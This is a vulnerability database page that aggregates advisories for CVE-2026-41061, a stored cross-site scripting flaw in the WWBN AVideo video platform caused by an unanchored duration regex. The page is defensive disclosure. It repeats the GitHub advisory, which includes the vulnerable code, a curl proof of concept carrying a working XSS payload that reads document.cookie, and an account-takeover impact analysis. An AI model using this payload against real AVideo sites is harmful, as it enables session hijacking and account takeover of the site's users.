Every CVE Search/ Get API key

CVE-2026-41061

WWBN AVideo Vulnerable to stored XSS via Unanchored Duration Regex in Video Encoder Receiver

5.4 Medium

WWBN AVideo is an open source video platform. In versions 29.0 and below, the isValidDuration() regex at objects/video.php:918 uses /^[0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}/ without a $ end anchor, allowing arbitrary HTML/JavaScript to be appended after a valid duration prefix. The crafted duration is stored in the database and rendered without HTML escaping via echo Video::getCleanDuration() on trending pages, playlist pages, and video gallery thumbnails, resulting in stored cross-site scripting. Commit bcba324644df8b4ed1f891462455f1cd26822a45 contains a fix.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
Required

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
None

Exploit likelihood

0.17%Up 0.1 points since Apr 22, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.4

WWBN AVideo Vulnerable to stored XSS via Unanchored Duration Regex in Video Encoder Receiver

WWBN AVideo is an open source video platform. In versions 29.0 and below, the isValidDuration() regex at objects/video.php:918 uses /^[0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}/ without a $ end anchor, allowing arbitrary HTML/JavaScript to be appended after a valid duration prefix. The crafted duration is stored in the database and rendered without HTML escaping via echo Video::getCleanDuration() on trending pages, playlist pages, and video gallery thumbnails, resulting in stored cross-site scripting. Commit bcba324644df8b4ed1f891462455f1cd26822a45 contains a fix.

Record
CVE-2026-41061
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
EUVDEUVD-2026-24539 5.4

WWBN AVideo is an open source video platform. In versions 29.0 and below, the isValidDuration() regex at objects/video.php:918 uses /^[0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}/ without a $ end anchor, allowing arbitrary HTML/JavaScript to be appended after a valid duration prefix. The crafted duration is stored in the database and rendered without HTML escaping via echo Video::getCleanDuration() on trending pages, playlist pages, and video gallery thumbnails, resulting in stored cross-site scripting. Commit bcba324644df8b4ed1f891462455f1cd26822a45 contains a fix.

Record
EUVD-2026-24539
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-8pv3-29pp-pf8f 5.4

WWBN AVideo has Stored XSS via Unanchored Duration Regex in Video Encoder Receiver

Summary

The isValidDuration() regex at objects/video.php:918 uses /^[0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}/ without a $ end anchor, allowing arbitrary HTML/JavaScript to be appended after a valid duration prefix. The crafted duration is stored in the database and rendered without HTML escaping via echo Video::getCleanDuration() on trending pages, playlist pages, and video gallery thumbnails, resulting in stored cross-site scripting.

Details

Input entry point: objects/aVideoEncoderReceiveImage.json.php:208

// Line 203-211
if (!empty($_REQUEST['duration'])) {
    $video->setDuration($_REQUEST['duration']);
}

Insufficient validation: objects/video.php:918

static function isValidDuration($duration) {
    // ...
    return preg_match('/^[0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}/', $duration);
    //     Missing $ anchor here -----------------------------------^
}

The regex matches 00:00:01 at the start of the string but ignores everything after it. A payload like 00:00:01</time><img src=x onerror=alert(1)><time> passes validation.

No sanitization in output function: objects/video.php:3463-3480

public static function getCleanDuration($duration = "") {
    $durationParts = explode(".", $duration);
    $duration = $durationParts[0];
    $durationParts = explode(':', $duration);
    if (count($durationParts) == 1) {
        return '0:00:' . static::addZero($durationParts[0]);
    } elseif (count($durationParts) == 2) {
        return '0:' . static::addZero($durationParts[0]) . ':' . static::addZero($durationParts[1]);
    }
    return $duration; // Returns full string unmodified for 3+ colon parts
}

With the payload 00:00:01</time><img src=x onerror=alert(1)><time>, exploding by : yields 3+ parts, so the full unsanitized string is returned.

Unescaped output sinks:

  1. view/trending.php:72:
<time class="duration"><?php echo Video::getCleanDuration($value['duration']); ?></time>
  1. view/include/playlist.php:159:
<time class="duration"><?php echo Video::getCleanDuration(@$value['duration']); ?></time>
  1. objects/video.php:7200 (gallery thumbnail generation):
$img .= "<time class=\"duration\"...>" . $duration . "</time>";

No Content-Security-Policy headers are set. The application uses raw PHP templates with no auto-escaping framework.

PoC

  1. Authenticate as a user with upload permission and obtain a video_id_hash for a video (visible in encoder API responses or via the upload flow).

  2. Send the malicious duration:

curl -X POST "https://target/objects/aVideoEncoderReceiveImage.json.php" \
  -d "videos_id=VIDEO_ID" \
  -d "video_id_hash=HASH" \
  -d 'duration=00:00:01</time><img src=x onerror=alert(document.cookie)><time>'
  1. The isValidDuration() regex matches the 00:00:01 prefix and allows the full string to be stored.

  2. Visit the trending page (/view/trending.php) or any playlist containing the poisoned video. The injected HTML breaks out of the <time> tag and the onerror handler executes JavaScript in the victim's browser context.

Impact

  • Session hijacking: Attacker can steal session cookies of any user (including administrators) who views a page listing the poisoned video (trending, playlists, search results, channel pages).
  • Account takeover: Stolen admin session cookies grant full platform control.
  • Phishing: Attacker can inject fake login forms or redirect users to malicious sites.
  • Worm potential: Since the XSS fires on commonly-visited listing pages (trending), it can propagate without targeted delivery — any visitor is a victim.

The attack requires only upload-level permissions (low privilege) and impacts all users who view any page rendering the poisoned video's duration (high blast radius).

Recommended Fix

Fix 1 — Anchor the regex (objects/video.php:918):

- return preg_match('/^[0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}/', $duration);
+…
Record
GHSA-8pv3-29pp-pf8f
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
NVD 5.4

WWBN AVideo is an open source video platform. In versions 29.0 and below, the isValidDuration() regex at objects/video.php:918 uses /^[0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}/ without a $ end anchor, allowing arbitrary HTML/JavaScript to be appended after a valid duration prefix. The crafted duration is stored in the database and rendered without HTML escaping via echo Video::getCleanDuration() on trending pages, playlist pages, and video gallery thumbnails, resulting in stored cross-site scripting. Commit bcba324644df8b4ed1f891462455f1cd26822a45 contains a fix.

Record
CVE-2026-41061
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSV 5.4

WWBN AVideo Vulnerable to stored XSS via Unanchored Duration Regex in Video Encoder Receiver

WWBN AVideo is an open source video platform. In versions 29.0 and below, the isValidDuration() regex at objects/video.php:918 uses /^[0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}/ without a $ end anchor, allowing arbitrary HTML/JavaScript to be appended after a valid duration prefix. The crafted duration is stored in the database and rendered without HTML escaping via echo Video::getCleanDuration() on trending pages, playlist pages, and video gallery thumbnails, resulting in stored cross-site scripting. Commit bcba324644df8b4ed1f891462455f1cd26822a45 contains a fix.

Record
CVE-2026-41061
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSVGHSA-8pv3-29pp-pf8f 5.4

WWBN AVideo has Stored XSS via Unanchored Duration Regex in Video Encoder Receiver

Summary

The isValidDuration() regex at objects/video.php:918 uses /^[0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}/ without a $ end anchor, allowing arbitrary HTML/JavaScript to be appended after a valid duration prefix. The crafted duration is stored in the database and rendered without HTML escaping via echo Video::getCleanDuration() on trending pages, playlist pages, and video gallery thumbnails, resulting in stored cross-site scripting.

Details

Input entry point: objects/aVideoEncoderReceiveImage.json.php:208

// Line 203-211
if (!empty($_REQUEST['duration'])) {
    $video->setDuration($_REQUEST['duration']);
}

Insufficient validation: objects/video.php:918

static function isValidDuration($duration) {
    // ...
    return preg_match('/^[0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}/', $duration);
    //     Missing $ anchor here -----------------------------------^
}

The regex matches 00:00:01 at the start of the string but ignores everything after it. A payload like 00:00:01</time><img src=x onerror=alert(1)><time> passes validation.

No sanitization in output function: objects/video.php:3463-3480

public static function getCleanDuration($duration = "") {
    $durationParts = explode(".", $duration);
    $duration = $durationParts[0];
    $durationParts = explode(':', $duration);
    if (count($durationParts) == 1) {
        return '0:00:' . static::addZero($durationParts[0]);
    } elseif (count($durationParts) == 2) {
        return '0:' . static::addZero($durationParts[0]) . ':' . static::addZero($durationParts[1]);
    }
    return $duration; // Returns full string unmodified for 3+ colon parts
}

With the payload 00:00:01</time><img src=x onerror=alert(1)><time>, exploding by : yields 3+ parts, so the full unsanitized string is returned.

Unescaped output sinks:

  1. view/trending.php:72:
<time class="duration"><?php echo Video::getCleanDuration($value['duration']); ?></time>
  1. view/include/playlist.php:159:
<time class="duration"><?php echo Video::getCleanDuration(@$value['duration']); ?></time>
  1. objects/video.php:7200 (gallery thumbnail generation):
$img .= "<time class=\"duration\"...>" . $duration . "</time>";

No Content-Security-Policy headers are set. The application uses raw PHP templates with no auto-escaping framework.

PoC

  1. Authenticate as a user with upload permission and obtain a video_id_hash for a video (visible in encoder API responses or via the upload flow).

  2. Send the malicious duration:

curl -X POST "https://target/objects/aVideoEncoderReceiveImage.json.php" \
  -d "videos_id=VIDEO_ID" \
  -d "video_id_hash=HASH" \
  -d 'duration=00:00:01</time><img src=x onerror=alert(document.cookie)><time>'
  1. The isValidDuration() regex matches the 00:00:01 prefix and allows the full string to be stored.

  2. Visit the trending page (/view/trending.php) or any playlist containing the poisoned video. The injected HTML breaks out of the <time> tag and the onerror handler executes JavaScript in the victim's browser context.

Impact

  • Session hijacking: Attacker can steal session cookies of any user (including administrators) who views a page listing the poisoned video (trending, playlists, search results, channel pages).
  • Account takeover: Stolen admin session cookies grant full platform control.
  • Phishing: Attacker can inject fake login forms or redirect users to malicious sites.
  • Worm potential: Since the XSS fires on commonly-visited listing pages (trending), it can propagate without targeted delivery — any visitor is a victim.

The attack requires only upload-level permissions (low privilege) and impacts all users who view any page rendering the poisoned video's duration (high blast radius).

Recommended Fix

Fix 1 — Anchor the regex (objects/video.php:918):

- return preg_match('/^[0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}/', $duration);
+…
Record
GHSA-8pv3-29pp-pf8f
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
wwbn/avideo
Packagist
through 29.0 None known
wwbn/avideo
Packagist
through 29.0, plus listed versions
10.410.81111.111.1.1
Show 12 moreShow less
11.511.612.414.314.3.114.418.021.022.024.025.026.0
None known

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-41061 is a medium vulnerability (CVSS 5.4) in Wwbn Avideo, published April 14, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.17%, the 6th percentile. No source names a fixed version.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open